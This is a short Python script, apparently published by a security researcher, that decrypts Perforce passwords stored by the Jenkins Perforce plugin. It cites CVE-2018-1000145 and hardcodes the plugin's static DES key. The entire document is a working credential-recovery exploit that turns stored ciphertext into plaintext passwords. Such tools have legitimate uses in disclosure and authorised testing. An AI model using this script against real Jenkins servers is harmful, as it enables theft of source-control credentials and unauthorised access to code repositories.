Jenkins Perforce Password Decryption

decrypt.py

#!/usr/bin/python3
# usage:
# python3 decrypt.py [base64 perforce password]
# Possibly related to CVE-2018-1000145 : https://nvd.nist.gov/vuln/detail/CVE-2018-1000145
# The Perforce plugin in Jenkins encrypts passwords with a static key and not the traditional Jenkins secrets storage mechanism
# This script decrypts those passwords using the static key yanked from the Jenkins Perforce code.
#
# Copyright 2021 Bryan "Crypt0s" Halfpap / Netragard LLC (https://netragard.com)
# Greetz to @tit0n and @greybrimstone

import base64
from Crypto.Cipher import DES
import sys

def decryptPerforcePassword(ciphertext):
    # it's not mentioned in the https://github.com/jenkinsci/perforce-plugin/blob/ec4cc343161606e5daa33002b2efe97644ada836/src/main/java/hudson/plugins/perforce/PerforcePasswordEncryptor.java
    # but the encryption factory must be MODE_ECB since no IV is used.
    crypter = DES.new(b"405kqo0g", DES.MODE_ECB)
    # replace the encryption header "0f0kqlwa"
    ciphertext = ciphertext[8:]
    ciphertext = base64.b64decode(ciphertext)
    plaintext = crypter.decrypt(ciphertext)
    print(plaintext)

if __name__ == "__main__":
    decryptPerforcePassword(sys.argv[1])